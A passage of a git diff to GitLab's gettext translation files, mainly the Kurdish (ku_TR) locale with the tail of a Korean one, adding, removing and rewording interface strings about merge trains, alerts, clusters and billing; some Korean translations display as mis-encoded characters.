msgstr "ë‹¹ì‹ ì˜ í”„ë¡œí•„ì— SSH 키를 등ë¡í•˜ê¸° 전까지 SSH를 통해 프로ì íŠ¸ë¥¼ 가져오거나 푸시할 수 없습니다."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27847,7 +28665,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -27964,6 +28782,9 @@ msgstr "ë‹¹ì‹ ì˜ ê·¸ë£¹"
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28091,6 +28912,9 @@ msgstr ""
msgid "among other things"
msgstr "다른 것들 중"
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28392,12 +29216,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr "연결중"
@@ -28551,6 +29369,10 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+
msgid "group"
msgstr ""
@@ -28596,9 +29418,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28639,6 +29458,9 @@ msgstr "올바른 X509 ì¸ì¦ì„œê°€ 아닙니다."
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28787,9 +29609,15 @@ msgstr "%{metricsLinkStart} 메모리 사용률 %{metricsLinkEnd} ì´ %{memoryFr
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28802,6 +29630,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr "mrWidget | ìŠ¹ì¸ ë¹„ë°€ë²ˆí˜¸ê°€ 잘못ë˜ì—ˆìŠµë‹ˆë‹¤."
@@ -28874,9 +29705,6 @@ msgstr "%{branch} 브랜치가 로컬 ì €ìž¥ì†Œì— ìžˆìœ¼ë©´ ì´ ë¨¸ì§€ 리퀘ìŠ
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr "만약 %{missingBranchName} 브랜치가 ë‹¹ì‹ ì˜ ë¡œì»¬ ì €ìž¥ì†Œì— ì¡´ìž¬í•œë‹¤ë©´, ëª…ë ¹ì¤„ì„ ì‚¬ìš©í•˜ì—¬ 수ë™ìœ¼ë¡œ 머지할 수 있습니다."
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -28910,12 +29738,6 @@ msgstr "머지:"
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr "Web IDEì—ì„œ 열기"
@@ -28997,6 +29819,12 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr "머지 충ëŒì´ 있습니다."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
+msgstr ""
+
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
+msgstr ""
+
msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
@@ -29006,12 +29834,6 @@ msgstr "ì´ ë¨¸ì§€ 리퀘스트(MR)를 ìžë™ìœ¼ë¡œ ë¨¸ì§€í•˜ëŠ”ë° ì‹¤íŒ¨í•˜ì˜€
msgid "mrWidget|This merge request is in the process of being merged"
msgstr "ì´ ë¨¸ì§€ 리퀘스트(MR)를 머지중입니다."
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
-msgstr ""
-
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
-msgstr ""
-
msgid "mrWidget|This project is archived, write access has been disabled"
msgstr "ì´ í”„ë¡œì íŠ¸ëŠ” ë³´ê´€ë˜ì—ˆê³ , 쓰기 ì ‘ê·¼ì´ ë¹„í™œì„±í™”ë˜ì—ˆìŠµë‹ˆë‹¤."
@@ -29217,6 +30039,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29260,9 +30085,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29380,6 +30202,9 @@ msgstr ""
msgid "this document"
msgstr "ì´ ë¬¸ì„œ"
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29398,6 +30223,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29461,6 +30289,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/ku_TR/gitlab.po b/locale/ku_TR/gitlab.po
index 98b4c9fb295..94705cdd7d0 100644
--- a/locale/ku_TR/gitlab.po
+++ b/locale/ku_TR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ku\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:46\n"
+"PO-Revision-Date: 2020-09-04 23:09\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
